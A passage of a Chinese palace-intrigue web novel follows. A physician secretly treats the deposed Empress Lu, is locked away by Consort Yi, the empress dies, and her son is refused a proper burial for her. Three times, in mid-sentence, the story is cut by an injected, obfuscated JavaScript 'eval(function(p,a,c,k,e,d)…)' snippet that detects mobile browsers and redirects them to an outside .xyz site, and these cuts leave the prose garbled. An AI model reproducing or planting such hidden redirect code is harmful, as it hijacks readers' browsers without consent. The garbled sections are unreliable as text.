她早没有那副尊容了，时至今日，只能尽力去维持一些体面，好叫身边人少担心一些。 孟闻道：“母亲醒了。” 陆芃掀帐出去，道：“姑母刚醒，表兄先回避，让我为她梳洗。” 今日无需由他来沃面了，他只道一声“好”，便退出门去，在屋外候着。 自受困西苑以来，母亲许久不言笑，直到见了陆芃。孟闻踏入宫室中，见她执手喜极而泣，恍惚间以为是错觉。 这幅神情，他很久没见过。 他一直都知晓“家人”在母亲心中的分量。 她曾为此疯过一场，后来病好了，恢复了清明，却是再不肯将心绪流露出半点。 直至今日失而复得，他才能见到那些奢侈的情绪。 爱也好，憎也罢，总该将这些情愫袒露些许，才能令自己好受些许。不若如此，便会像枯枝败叶，在心中堆积腐化。 孟闻低着头数光阴，屋檐遮不住的晨光照在脚下，又一寸一寸地右移。 今日梳洗格外地久。 他一个人站在檐下，听麻雀叽叽喳喳，看枝头白霜融化。 陆芃推门而出，道：“好了，表兄可以进去了。” 孟闻进屋，待宫人端了热粥来，侍奉母亲用膳。 陆皇后睡了多时，这会还有些恍惚，没同他说太多话。 孟闻的话也格外少，像心中有愧似的，对他在朝中、在秘阁里的事一概不提。 用完早膳，他又将往外廷去了。 陆芃一道出门，同他说起：“晨间我替姑母梳头，听她说起过往一些事，有些事我竟全然不记得，不免觉得奇怪。” 孟闻虽习以为常，还是忍不住叹道：“她有时混淆了，会记错许多事。不必在意。” 陆芃道：“会好起来的。” 孟闻道：“留在鸣鸾宫里吧，她想你多陪陪她。” 陆芃道：“那栖梧宫那边——” 孟闻道：“我会处理妥当的，杜修容不是来找过母亲吗？虽不知那日她与母亲说了些什么，总归绕不开孟望。就当是我欠了她一个人情，日后还到四郎身上。” 她为何没死？当年是怎么逃过了一劫？又是如何在深宫中捱过数年？ 孟闻默默看着，选择在母亲面前咽下这些困惑，不再提起旁的。 至少她当真是陆家的女儿，是世上另一个与母亲有血缘联系的人。 鸣鸾宫调来一个新的侍卫，唤做符离，不像别的侍卫那样四处巡守，只需专门护着陆芃。她身份特殊，在陆氏一案沉冤昭雪之前，万不敢摆到明面上来。 鸣鸾宫里大多都是皇帝安排的人，未必信得过，她只能如此藏着。 竺影还是只在夜半无人时过来。 第二夜依旧用了同样的，扮作送夜食的宫女，但比以往顺遂得多。 昨夜那两个值守的宫人不知去了何处，只有一个守卫在门口，披着银鼠冬袄，腰间悬一柄长剑，大半张脸匿在风帽下，像尊石狮子定定立在门前。 看着不近人情，却并未拦她。 陆皇后用过安神的药，夜里睡得沉，便是施针时也不会醒。 但她在睡梦中也会察觉痛楚，微微皱眉。 竺影拔了针，叹气道：“皇后身子太虚，针灸不过拆东补西，不是长久之计。” 陆芃问：“其后该怎么办？” 竺影问她：“太医都给她开些什么药？” 陆芃道：“不清楚，得等明日我去问一问，再告知你。” “好。” 竺影看一眼窗外，不见星，也不见月，只有黑漆漆的一片。 不出暖阳不得天补，满地白雪不得地补，郁郁寡欢不得人补。 “且看能不能熬过这个冬日吧，待到春日就好了……阳气始上，万物荣发，人也是一样的。”她只能这样说。 陆芃才高兴不久，又心下一沉：“也就是说……还是……” 竺影道：“得看她自己，想活之人自有生路，求死之人终难救。” 陆芃噙着苦笑：“还是多谢你。” 竺影冷道：“不必，我不愿过多亏欠而已。” 拾掇好针灸包，刚要踏出门，忽闻门外人声。 “殿下怎么来了？” 寒夜里，他声音蓦地高亢，盖过风声。 另一人道：“噤声，勿惊扰她。” 脚步声近，陆芃与竺影相觑一眼，赶紧放下陆皇后的床帐，拉着竺影藏在屏风后。 “嘘——”陆芃叮嘱她说，“别说话，他一会儿就走。” 前去开门，孟闻进了门，看向内闱道：“我来看看母亲。” “安好，睡着。”陆芃放低声音，简单回道。 “嗯。”他轻声应答，又轻手轻脚走向榻边，坐在脚踏上，隔着一帘帷帐探去目光。 隔着一道屏风，隔着内室与外室，竺影似乎听到了他的叹息声。 她心想着，许是在查案时碰到些棘手的事，不得进展。她深知那案子难办，也为此困顿了多年。 只听他对着帷帐自言自语：“母亲卧在病榻，儿本不该远行。可是母亲训斥儿的事，儿在今夜有了答案。北地须得去的，儿明日会去鸿嘉殿自请。料到母亲不会同意，不敢说，却又不能不说。儿无用，能做的太少，只盼着尽我力所能及之事，解母亲心结，让您少些劳忧。只盼着您好过来，福寿延绵……” 孟闻说完这些，似乎轻松许多。 他走出内室，见案上食盒还没收拾。 “你夜里会叫人送吃食？” 陆芃道：“是，夜里会饿。但只叫人送到门外，不会打扰到姑母。” 孟闻没说什么，只道：“是我考虑不周了，这段时日多辛苦你。” 陆芃道：“说的什么话？她也是我的姑母。” 孟闻朝她疲惫一笑，又离去。 屏风后的人，他果真不曾发觉。 终于走了，陆芃长出一口气。 竺影从屏风后出来，问起：“门口那个侍卫怎么回事？” 他明知陆芃撒了谎，放了个宫女进来，却没告诉孟闻。 陆芃道：“是表兄派来保护我的。” 既是三皇子安排的人，竟依然阳奉阴违，就更奇怪了。 不等竺影道出心中顾忌，陆芃又保证道：“他信得过，你的事不会有第三人知晓。” 竺影心中祈祷：“但愿如此。” 背着二皇子、背着宜夫人行事，这样的情况有过，却不多。她总是谨慎得不能再谨慎，小心得不能再小心。事情败露的下场可想而知，竺影也不知道自己哪来这么大胆子，会答应陆芃，去救一个与自己无甚牵连的人。 偏偏还是宜夫人从前的死对头。 不敢多留，她笼起袖子又踏进夜幕里了。 第三日夜，本还要到鸣鸾宫去的。 竺影刚出停雪轩外廊，道上突然闪出个黑影，不免心中一悸。 那人挽着利落的发髻，一身黑衣，抱剑挡在她面前。 是禾玉。 她冷声开口：“你去何处？” 竺影所担心的这天终于还是来了，她道：“没去哪里。” 禾玉道：“我会信？” “随你。” 她没拔剑，竺影便绕开她。 禾玉在她身后道：“回停雪轩，或是我把你绑到夫人面前，你自己选。” 竺影叹口气，止住了脚步。 其实只有一条路可选啊，可鸣鸾宫的人怎么办？陆芃还不知晓这突如其来的变故，今夜怕是等不到她了。 停雪轩里亮起一盏灯，禾玉像是要盯她一晚上，此时竟开始煮茶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361919|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竺影在窗前坐着，心中万分不安。 禾玉却安然坐在屋中喝茶，还眨了眨眼冲她笑：“要给你倒一杯吗？” “不用！”竺影一手拍落她的茶杯，质问道，“你是殿下的人，还是夫人的人？” 禾玉道：“有什么差别吗？你我所做的一切，不都是为了殿下？” 竺影道：“当然有。” 禾玉不同她解释更多，只劝道：“殿下已经不在宫中了，没人能护着你，不想吃苦头就安分些，别去想那些不该做的事。” 竺影脑中冒出一个念头：“你是陈氏的人。” 禾玉只是笑笑，不说话。 竺影又问：“是夫人，还是尚书令？鸣鸾宫那位出事，是在殿下离宫后，你们连他也要瞒？” 禾玉又捧起一杯茶来，轻嗅茶香，慢慢道：“别猜了，别猜了……再猜下去，连我都不敢留你了呢。你留着一个陆家人，已是在给殿下添麻烦了，其实那日去栖梧宫，我就想杀了她。” 竺影遂住了口，她知道此人不会说玩笑话。 禾玉道：“虽然殿下吩咐过，让我留在宫中保护你，可你若出了静和宫，我可保不住。” “罢了，罢了……”竺影捂住脑袋，将外头那些事从脑子里摘出去，迫使自己冷静下来。 窗户敞开着，外头的风总还是会吹进来。 “冷些，果然使人清醒的。”她自言自语。 从前孟明谌也这样说。 禾玉被冻得打了个寒战，骂了一句“有病”，前去将两扇窗合上。 门窗隔绝，风声小了许多，透过缝隙，像在呜咽。 延都的北风干而烈，比吹至云琅的风更凛冽些。 竺影仍记得永朔七年，她随父亲来到京城，延都落下那年冬的第一场雪。 她从并州来，不受京中女郎待见，只有一位同龄的小女郎朝她伸手，邀她为伴。 那小女郎正是陆皇后的侄女。 她们初识在宫中，奈何天意弄人，重逢仍在宫里，只不过从琼筵到了掖庭。 延都的冬夜漫长，两个罪臣之女只能彼此依偎，望着掖庭残破的窗，靠着从对方身上汲取一丝暖意，熬到天明。 那样难捱的冬，竺影只体会了一次，第二年冬就随孟明谌到了静和宫。 如今她眼前也有这样一扇窗，镂花窗格上涂着清漆，镶以月银色的窗纱，阻却风霜。 竺影没回榻上，只伏着案入眠。 禾玉冷眼看她折腾自己，不想劝，也不离去。 她看着眼前繁华，与虚无缥缈的来日，同自己周旋。 不知是否还要铤而走险。 “可是她想活，她想活着啊……” 竺影心里就剩这么个念头。 她看到了陆皇后睡梦里的挣扎，七年来身存魂亡，只剩一副躯壳游走于世间。分明她与陆芃相认不久，才刚燃起一丝求生的希望…… 待她想活着。 朝中那些人不肯让她活。 他们好不容易才把陆氏拉下去，废后废太子，重新扶持起新的势力。又怎么会让她再回去，回到原来的位置上去？ 这是前朝的斗争，与竺家的女郎没有关系。 一个已废的皇后，不在齐王的谋算里，也可以不在她的算计里。 无关紧要，可以舍弃。 竺影在停雪轩关了两日，心中那一点冲动在两日后逐渐平息。 雪已经停了好久，地上的积雪也化了。 她在窗前看檐下融雪，不抱手炉，也不披冬袄。 禾玉走到她身边，劝了一句：“很快就结束了，别犯傻。” “一定得有人身死么？”竺影道。 禾玉看着她，答非所问：“到底是在宫里待了六年的人，不该这样愚钝和天真。” “砰——” 巨大的声响惊得桌上摆设震起。 竺影似泄愤般，举起烛台砸向窗子，在月银窗纱上留下一个窟窿。 “唉。”禾玉摇了摇头，最后还是走了。 15. 凛风鸣竹（五） 竺影夜里做了一场梦，梦里她好像望见了鸣鸾宫。 可是黑夜里看不清楚，她只能奋力迈开步子，盼着快些、再快些……朝那扇宫门越来越近，黑夜里的火光一点点变清晰。 差一点，分明就只差一点。 黑暗中传来裂帛之声，静和宫的侍卫追了上来，扣住她的肩膀，使劲将她摁在雪地上。 贴着冰冷的地面，冷气呛进肺里，难以喘息。 任凭她怎么挣扎、叫喊都于事无补，明明都已经那么近了，还是被那些侍卫拖拽着往后，眼睁睁看着数根毫针、几行脚印遗落在宫道上，看着那火光越来越远，越来越远…… 远得看不见了，如同一盏灯被吹熄。 只是一场梦，一个同她没有关系的人。 竺影却为了梦里的这个人，难受了许久。 她想不通究竟是为什么。 因为父亲曾称赞陆氏的门风，因为她是母仪天下的皇后，还是因为她曾和蔼地牵过竺影的手，待身边人都如斯柔和？ 竺影照不出一个确切的答案，梦已经醒了，只有心里还酸酸涨涨的。 早膳后，紫裳来道：“夫人要见你。” 她只说了这一句，没指明为的什么事。 总归不是什么好事。 竺影收拾一番，随她去暖阁。 宜夫人坐在贵妃榻上，膝盖一张貂皮绒毯，五凤铜香炉里的香料还在烧着，弥漫的轻烟遮去了她的面目。 屋内宫人都被屏退了，只剩紫裳侍奉左右。 竺影从从容容立在下首，等着夫人发落，可她没有。 夫人团了团手中的暖炉，笑看向她道：“明明是一样的方子，这些宫人合的熏香香气浊，总是弄得满屋烟气，比不得你做的。” 这样的开头，让竺影不知如何答话了，只道：“这些事，夫人随时可吩咐小人来做的。” 宜夫人仅是一笑，又道：“我从前很喜欢你。” 竺影默然垂首。 烟气在屋间缓缓流淌，夫人的声音也慢悠悠：“我记得你初来静和宫时，机敏又乖觉，连栖梧宫的见了，都要问我一句，为何不荐你去做女官。倒叫我好一番为难，留你在此算是屈才了，可真放你去，我哪里舍得？那时是你自己说，比起做个掌管典籍的女史，更情愿留在静和宫里。” 竺影道：“小人这条性命是齐王救回来的，无以为报，只盼望能侍奉左右。” 宜夫人道：“你是个知恩图报的孩子，没让你跟着他到齐王府去，你可有怨我？” 竺影道：“小人不敢。” 夫人看着她，惋惜道：“若能一直如此乖觉便好了，实在可惜。你知道我从来都舍不得你。你初到静和宫时，我便告诫过，你能使我儿开心便足够了，使他欢喜，我便也欢喜，旁的事也不强求你什么。可坏就坏在——你是个不知足的人，不好好侍奉主子，还藏了些别的心思。” 她话锋一转，言语又讥诮起来。 “每每看着你的眼睛，就想起当初我还未走出掖庭的日子，那时也是这样的不知天高地厚，总想着往上爬，想着不愿屈居人下，终有一日会成为一宫之主。就是凭着那一点念头，才让我争到了今日，你与我多像啊。” 夫人居高临下凝视着竺影，这张青雉的面庞，像极了从前的她。 “夫人明鉴，小人从来没有过这样的心思。”竺影低着头，又摇头。她怎么会像这样一个人？ 宜夫人无视她的辩解，轻声叹道：“对不住啊，也莫怪我心狠，只是我儿不可以被一个女子左右，我断不能留你在他身边，哪怕是让他惦着、念着，也不行。” 竺影苦笑着道：“夫人会如何处置我？” 宜夫人道：“我不忍亲自动手。” “您食言了。” 崔家女郎进宫时她回避着，赐婚的圣旨降下她也没表露出半点不忿，哪怕是齐王出宫开府，她也如宜夫人所愿留在了静和宫，不再跟着孟晓。 本以为如此，夫人宽了心，也就不会再刁难于她。 可一个宫人，怎么能同主子讲道理？她已有了权势，又何必同你讲道理？ 废后从冷宫里出来了，静和宫的主子再不能淡然度日，她又得开始争。 要为二皇子稳住崔家，要为他谋前路。 一个叫“鸣竹”的宫人终究是个变数，既是变数，就不能留着。 宜夫人不是不想亲自动手，只是不想在此时与二皇子撕破脸。 她命人将竺影锁进柴房，每日只施一饭一水，没给她照明的烛火，没留御寒的褥子和衣物。 既不让她死，也不想让她好好活着。 不多久，禾玉就来看她了。 隔着一堵青砖墙，禾玉道：“当初殿下带你回来，我便早知你会有今日。” 竺影冷道：“把我关在这里，不都是你的手笔吗？” 禾玉道：“你了解我，就像我也了解你一样啊，鸣竹。且安分些吧，等到鸣鸾宫那位咽气，你就能出去了。” 竺影靠着墙，不禁冷笑道：“待她死了，再把我推出去做个替罪羊吗？” 禾玉道：“不做得狠一些，怎么将你与静和宫摘个干净？那孟闻又怎会信你？我这都是为了你啊。” 竺影道：“殿下本想将三皇子拉到同一条船上来，可陈氏此举，是想令他二人割席断义，届时兄弟反目成仇，你们就不怕襄王坐收渔利？” 禾玉道：“殿下与孟闻不是一路人，与孟觉更不会是。你不够心狠，不适合当个细作，真不知殿下怎么会选了你。” 撂下这句，她又走了。 只剩竺影在这昏天黑地的地方。 不久前，她还嫌檐外的阳光刺目，连出门也倦怠，此时却已难见天日。只有高处开了一扇四四方方的窗，渗漏几缕惨淡的天光。 世事无常，恍惚间生了白云苍狗之感。 门上的锁链被吹得响动，哐当哐当敲打着柴门。 天寒地冻的夜里，陈年腐败的草堆并不能为她堆砌些暖意。 久矣没有体会过彻骨的寒意，她又想起初入宫那一年，只是这次不会有倚偎取暖的人了。 只有她一个人。 竺影摸起地上一截枯枝，天光每照进来一次，她就在土坯墙上刻一道划痕。 划下第四道刻痕的时候，墙外传来窸窸窣窣的响动，门上的锁链也晃晃荡荡。 那人尝试扯了两下锁链，见无甚用处，于是扒着门缝往里看，小声问道：“兰姊姊，是你在里面吗？” 竺影听出了阿颜的声音，靠在墙边问她：“你来做什么？” “你冷不冷啊？” “还好。” “那你饿不饿？我给你拿了些吃食。” 阿颜爬上柴堆，从小窗处塞进来一个蓝布包裹，正要下来时，脚下的柴堆哗啦啦滚落，她在柴堆里摔了个结实。 蓝布散开，竺影看着一个个滚落在干草堆上的白面饼，忍不住笑话她：“管我做什么？真傻。” 偌大的宫城里，只有这样一个心思愚钝的人，才会记挂她。 阿颜坐在地上揉着擦伤的膝盖，吸了吸鼻子道：“我才不傻，你再这样说我，我以后就不给你送了。” 竺影忙哄她道：“好好好我不说了。好阿颜，能不能同我说说，这几日外头发生了什么事？” 阿颜反问道：“外面是哪里？这外面还是静和宫外面？外面的事我也不知晓。” 竺影道：“你听宫里人说了多少，知道的都告诉我吧。” 阿颜道：“我只听她们说，陛下想立三皇子为太子，可是和鸾宫里的贵主病了，许多太医去了都没能治好，就连柳太医也去了，没来咱们宫里，陛下也好久没来，惹得夫人心情十分不好。夫人一头疼就要罚我和阿玉，要是有你在就好了。夫人为什么要把你关在这里，她从前不是最喜欢你了吗？” 竺影淡笑道：“没有为什么。得贵人喜欢时自是风光无限，忽有一天贵人不喜欢了，就会一无所有，你也不能怪她对不对？” 阿颜不解：“为什么说不喜欢就不喜欢了呢？” 竺影道：“就像你从前喜欢吃透花糍，后来却嫌那味道太腻不喜欢了。人是会变的，总不能指望这些喜欢是一辈子的事，对不对？” “唔——我还是不懂。”阿颜思来想去也想不出个所以然来。 远处突然传来一身呵斥：“阿颜，你在那里做什么？” 阿颜回头一看，竟是紫裳姑姑，吓得她赶忙从柴堆上爬下来，结结巴巴道：“没、没、没做什么。” 紫裳道：“堆好的柴薪都被你弄倒了。” 阿颜道：“我这就收拾。” 紫裳道：“罢了，我叫别人过来。你离这地方远点，不然夫人知道了又要罚你。” “啊……好，就走。”阿颜小声嗫嚅，回望那狭小的窗口一眼，捂着膝盖一瘸一拐离开了。 竺影静静听完墙外的动静，直到一切又归于沉寂。 她不再去鸣鸾宫，陆皇后的病情刚转好，身子又一天天虚弱下去。 冬愈深，夜愈深。 太医近酉时才离开鸣鸾宫。 正殿中还点着一盏昏灯，时时闻灯芯哔剥，人未休憩。许多人都守在废后的寝宫，里里外外，多数是宫人。 陆皇后缠绵病榻数日，往常她该安枕睡下了，可是今夜这个时辰三皇子未归，她也不肯入眠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我此生久在宫闱，不能远游，早将过往所学束之高阁，不得用也。此为一憾。见你已长成人，却因旧事困于西苑，志向不得抒发，此外二憾。眼见父母含冤而终，身为子女无法申冤，无处尽孝，此为三憾也。”陆皇后怅然望着帐顶，抚膺而长叹息，“而今才觉悔意……三郎，你不要步我的后尘。” 她今日莫名话多，说了平日不曾在意的叮嘱，好似要将余生的惦念都说尽。 孟闻听出来了，听见她的声音减弱，听懂了那些话外之音，她的心有不甘、恨而不得。 “母亲切勿想这些，我去叫太医来。”他慌了神，说着便往外探去，去唤陆芃。 陆芃走过来，道：“怎么了？” 孟闻道：“你替我照看着母亲。” 陆皇后却拦住他。 “不必去了，母亲还有话要同你说。” “母亲可还有别的事要叮嘱？”他倾身离陆皇后再近些，声音近乎哽咽。 儿子与侄女都在病榻前。 她说：“要代我照顾好芃芃啊。” 孟闻含着泪点头，说：“一定。” 陆芃忽然哭了：“姑母为何说这些？” 陆皇后又看着帐外的两个小宫女，她们早已哭成了泪人。 她说：“还有羽音和徴音，她们跟随了我许多年，因我饱受蹉跎。到来日放她们出宫也好，定要给她们寻个好人家。留在宫中也罢，若是偶有小错，你切莫苛责她们。” “好。”孟闻点头道，“儿一定会善待她们。” 交代完这些，皇后又躺回榻上，不知想到了什么，忽然淡淡一笑。 她问：“那些山黄皮，可还有剩下的？” 孟闻沉默了一阵，随后道：“已经不剩了。” 陆芃道：“姑母且等一等，我再让人去别的宫问问。” “只是时有念想，不必去找了。”陆皇后摇了摇头，让他不必费功夫了。 深冬季节，宫里自是不会有岭南之物。 只是念平生，悲憾交加。 她尝不到高堂用山黄皮炖煮的肉羹了。 刚服了太医署送来的药，一点余苦在喉间，她咽了又咽。 陆皇后闭上了眼，有人在她耳边问：“韫之困否？倦否？既已疲乏，何不安枕？” 她无力再去回应。 多年困倦，今当安睡。 夜阑人静，更漏声尽。 有内官踏出鸣鸾宫，奔往鸿嘉殿报丧。 前尚书陆澄之女陆韫之，太和十六年入晋王府，太和十八年册太子妃，宁朔元年立为皇后。殁于宁朔十五年冬，阖宫悲恸。 16. 凛风鸣竹（六） 废后病逝宫中，虽然移居鸣鸾宫，陛下并未恢复她的皇后之位，这层身份尴尬，她的身后事却让众人都犯了难。 彼时，大臣们在争议该以何礼制下葬，是否要葬入皇陵，附祀宗庙。 “她当初正是因不敬宗庙被废的啊，这样的人岂能容她再入宗庙？” “可陆皇后毕竟是三皇子生母，与陛下是少年夫妻。她生平只做错过那一件事，便是在父兄死后发了疯，失了智。” 如若有人站出来替她陈情，认为应当让废后葬入皇陵，附祀宗庙。 其他臣子便会争论，想当初陆尚书涉嫌与前朝余党勾结，被革职下狱。 当时还是中宫的陆皇后跪在殿外为父兄陈情，没等来皇帝收回成命，只等来家人被问斩的消息。 后来在一次宗庙祭祀中，帝后起了争执。皇后拔了金钗，凤冠委地，当着众臣的面披发赤足走出宗庙。 史官载，“皇后干纪犯顺，违背道德，逆莫大焉！”众臣以“谋大逆”为名，纷纷上书逼迫皇帝处死皇后。 不敬天地神明、列祖列宗，多大的罪名。陛下还是留了她性命，仅是褫夺皇后印绶，让她移居西苑，已经是网开一面了。 这些罪名记录在册，哪怕是阖棺也不能洗脱。 他们吵得起劲，仿佛忘了三皇子在场，全然不顾及他的感受。 一字一句，像锈蚀的刀，一下下剌在豁开的伤口上，鲜血淋漓不足惜。 可龙椅上的皇帝呢？他偏偏不发话，任那些大臣吵得不可开交。 没人敢猜他此时在想些什么。 朝毕。 三皇子又来到鸿嘉殿前。 皇帝下朝归来心情不佳，本不愿见他，拗不过他固执。 他同他母亲一样固执。 眼看天边要飞雪，尚常侍劝了好几回，他就是不肯走，非要见到陛下不可。 殿中有人，稍年长者年逾不惑，紫袍玉带，手绕一串佛珠，乃是尚书左仆射王若。另一人未至而立，今日着鸦青氅衣，额系一条绀色絮巾，乃是秘书令祝从嘉。 陛下与两位大臣在殿中，还有正事要商议，尚泓没辙，只得去请示：“三皇子还在殿外，陛下是否要召他进来？” 孟雍道：“不必。” 王若捻了捻佛珠，偷偷觑了一眼。 陛下已然起身，着侍者为他披衣，亲自走出鸿嘉殿去见三皇子。 寝殿的正门缓缓打开，玄色的身影从屋中走来，孟闻抬眼看过去。 皇帝站在台基上，遥望鸣鸾宫的方向，叹息良久：“你此番过来，又是为的什么？为你的生母陈情吗？” 隔着很远，是在和孟闻说话。 皇帝语气淡漠，是君王之于臣下，仿佛孟闻并非他的孩子，仿佛死去的不是他的结发妻子。 孟闻却道：“没有。” 孟雍颇有些意外，看着他。 孟闻依旧道：“的确没有。” 母亲临终遗恨，孟闻再清楚不过。 他守在榻前亲眼看着她怀着无数遗憾闭上眼，再也没有醒来。 龙椅上的寡恩之人，母亲再不愿提起他。 孟闻顿首拜道：“母亲临终有遗言，不愿入宗庙，儿臣恳请陛下恩准，准儿臣尽孝道，为亡母扶灵，葬于南面。” 本不是什么不情之请，陛下若应允，便也不必为此事犯难了。 可孟闻得到的答复却是：“你已经求过我一次了。” 一如他的请求一样，出人意料。 皇帝走下阶来，从俯视到平视，他已两鬓染霜，竭力挺直躯干才能不佝偻。长大成人的第三子，个头已经高过了他。 孟雍道：“从前也是你跪在这里求我。” “你说愿意替朕前往北地，愿悉数揽下并州差事，是为了你的母亲罢，一如当年你甘愿离宫，同她移居西苑。” “可世间鲜有人能求仁得仁，你到底没能得偿所愿，朕亦如此。朕同样不愿看到今日之果。” “人死如灯灭呐……三郎。” 他抬手，却再不能像从前那样抚稚子的头，临了只能拍拍他的肩，道一声：“回去吧。” 孟闻不解。 回去，回哪里去？ 他少时居住的宫殿吗？他的生母已不在那里，就连灵体也被移到了延鹤宫。 至于眼前的父亲，也不似记忆中的模样。 皇帝的手从他肩头滑落，孟闻拢袖一揖，拜别君王。 眼前似有飘絮，一场雪又降下。 仰头时，望不见西边那座摇摇欲坠的宫殿。 只见大雪纷纷扬扬地落下，试图在满是脏污的土地上写满清白。 孟闻独自行过这一段路，归去时，宫城里已无人再等候他。 待皇帝坐回筵上，尚书左仆射与秘书令才再度入席。 孟雍倚着凭几垂头叹气，蹙起的眉端又多几分愁。 王若斗胆劝道：“陛下何不让三皇子进偏殿，一同商议后事？那毕竟是他的生母。” 孟雍道：“不必了。他不求入葬皇陵，也不求附祀宗庙，不妨遂了亡者遗愿，也省却麻烦，不必去与那些旧臣掰扯。” 王若遂不发话了。 孟雍道：“尚泓，去传朕令。” 尚常侍赶来，垂首恭听。 皇帝说道：“告知鸣鸾宫人，废后陆氏失序，有悖道德，不宜奉宗庙衣服，斯人已逝，不必发丧，后事从简，葬于京畿之南，绮亭之东，不入宗庙。” 祝从嘉不是今日才看清他的刻薄寡恩。 可当那冰冷的口谕掷地时，他还是忍不住相劝一句：“惟望陛下三思，陛下与废后到底是少年夫妻，如此安排，只恐后人毁谤陛下不念旧情。” 孟雍道：“朕意已决，此事不必再议。” 尚常侍领了命，便着人前往鸣鸾宫传口谕了。 祝从嘉道：“臣未尝料到，三皇子会作此选。” 孟雍无可奈何，又同王若说道：“你看朕的儿子，果真同他母亲、同他外祖父是一个模子里刻出来的，就好像他们才是一家人。” 他如是评价三郎。 不像他的儿子入不了他眼，可最像他的那个儿子，也未必受他待见。 王若低头捻着佛珠，发出一声叹息，目中难掩悲戚之意。 他说：“三郎仁德，未必是件坏事。” 孟雍又问祝从嘉道：“祝卿如今看他如何？” 祝从嘉道：“对上并州之事，襄王避之不及，齐王难做决断，三皇子既敢应承，虽有鲁莽之嫌，论其孤勇已胜过前二者。陛下不妨放心将灾后重建、考察民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387908|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情之务交由他，臣定会协助左右。” 孟雍道：“他尚年轻，被从前羁绊太深，来日还有很长的路要走，薛梁两家势大，陈氏也需提防，朕信得过的老臣不多，还需你与王卿多多扶助他。” 皇帝将话说到这个份上，纵是个傻子也能听懂了。 王若收拢佛珠，离席长拜道：“臣定当竭尽所能，不负陛下所托。” 雪下得不大，孟闻归时没有撑伞，淋雪走到鸣鸾宫时已是满肩满头白纷纷，狐裘的绒毛尖上立满雪粒。 陆芃匆匆迎上来问：“表兄怎么不着人撑伞？你向陛下问的事如何了？” 他垂着眼睫不说话，一动便有雪从身上簌簌落下。 其余人便猜他只带回来坏消息。 徴音掸落他肩上的雪，忙引他进屋去，说道：“时至今日，还有什么是我等不能承受的呢？哪怕是求而不得，陛下不允，殿下都已尽心竭力了，又何苦这样作践自己？” 孟闻像哽住了出不了声，缓和了好一会才能开口。 他道：“我没事，待晚些再去延鹤宫。” 徴音才松了口气。 陆芃却红着眼，怔怔望着宫门。 门未关上，风雪会灌进来，吹得棠棣枝条寒颤。 不久，尚常侍来了，将皇帝的话一五一十转告。 孟闻平静听完，向他揖了一礼道：“还请陛下恩准，许儿臣为亡母守孝。” 尚常侍道：“小人不敢当如此大礼，殿下的话，小人即刻回去转告陛下。” 孟闻道一声有劳，遣宫人送尚常侍离去。 “不必发丧，后事从简……”陆芃喃喃复述，这几字攫住了她的心神。“他凭什么这么做？纵是皇帝——” “醒枝。”孟闻出声唤她，隐隐有告诫。 直到周围宫人都得了示意退去，她才肯攥着孟闻的衣袍，放声大哭。 “表兄，我恨他，我好恨他啊。” 好像哭出来了还不够，总有什么闷在胸中，使她喘息不得，恨不能将胸膛剖开，任仇恨赤裸裸地袒露。 凭什么她家破人亡，到头来一无所有，而那刻薄寡恩的皇帝还能好端端坐在鸿嘉殿里？ 而她唯一能够去诉说的人，身上还流着皇帝一半的血。 “我好恨，真的好恨。” 她一遍遍诉说自己恨不得。 孟闻平静得反常，单单望着她泪如决堤，只道：“那就恨吧。” 爱也好，憎也罢，自有其存在的理由。若憎恨能教人好受，不妨随心所欲一些。 可他眼中干涩，流不出一滴泪来。 他不知该去恨谁。 孟闻回屋里解了狐裘，换上一身素衣，再坐回案前。 陆皇后病重那段时间，他很久没提笔，天寒地冻，砚台里半干的墨析出了盐。 这一回再研墨执笔，是为亡母写祭文。 角音闯进书房里来，似有十万火急之事。 “殿下，太医署的人招认，那日张太医是收受了静和宫的贿赂。” 孟闻顿笔，抬首道：“静和宫？证据确凿吗？” 角音道：“几位太医皆是人证，至于物证，太医既收了不该有的份例，自然查得出来。” 孟闻道：“去把商音也叫过来，去静和宫。” 17. 凛风鸣竹（七） 好像又下雪了，四下无人之时，静和宫柴房里，也听得到簌簌声。 已经是被关的第九日或第十日，接连几天没有人来过这里。 竺影拿起墙下那根枯枝，细细摸着墙上数道划痕，或许她忘了刻下今日那道，又或许是忘了自己已经刻下过一道。冻馁之中她几乎恍惚了，也平静了，不愿去思索更多的事。 忽然，门上的锁链哐当坠地，她手中的枯枝也应声折断。 天光从门外一涌而入，屋外的天幕与白雪惨白一片，惹得她睁不开眼。 没等竺影反应过来，就已被人捉住双臂，拖着她走出暗室。 眼前明了又暗，暗了又明，应是穿过了连廊到中庭。 最后像块破布似的，被人丢在了地上。 各色的裙裾在她眼前来来往往，致使眼花缭乱，耳边回荡着细细碎碎的人声，也听不清晰。 “张太医，你上前瞧仔细些。” “不错……就是她。” “张太医，你可看仔细了，到底是不是她？届时莫怪我错怪了人。” 这是宜夫人的声音，竺影闻声看去。 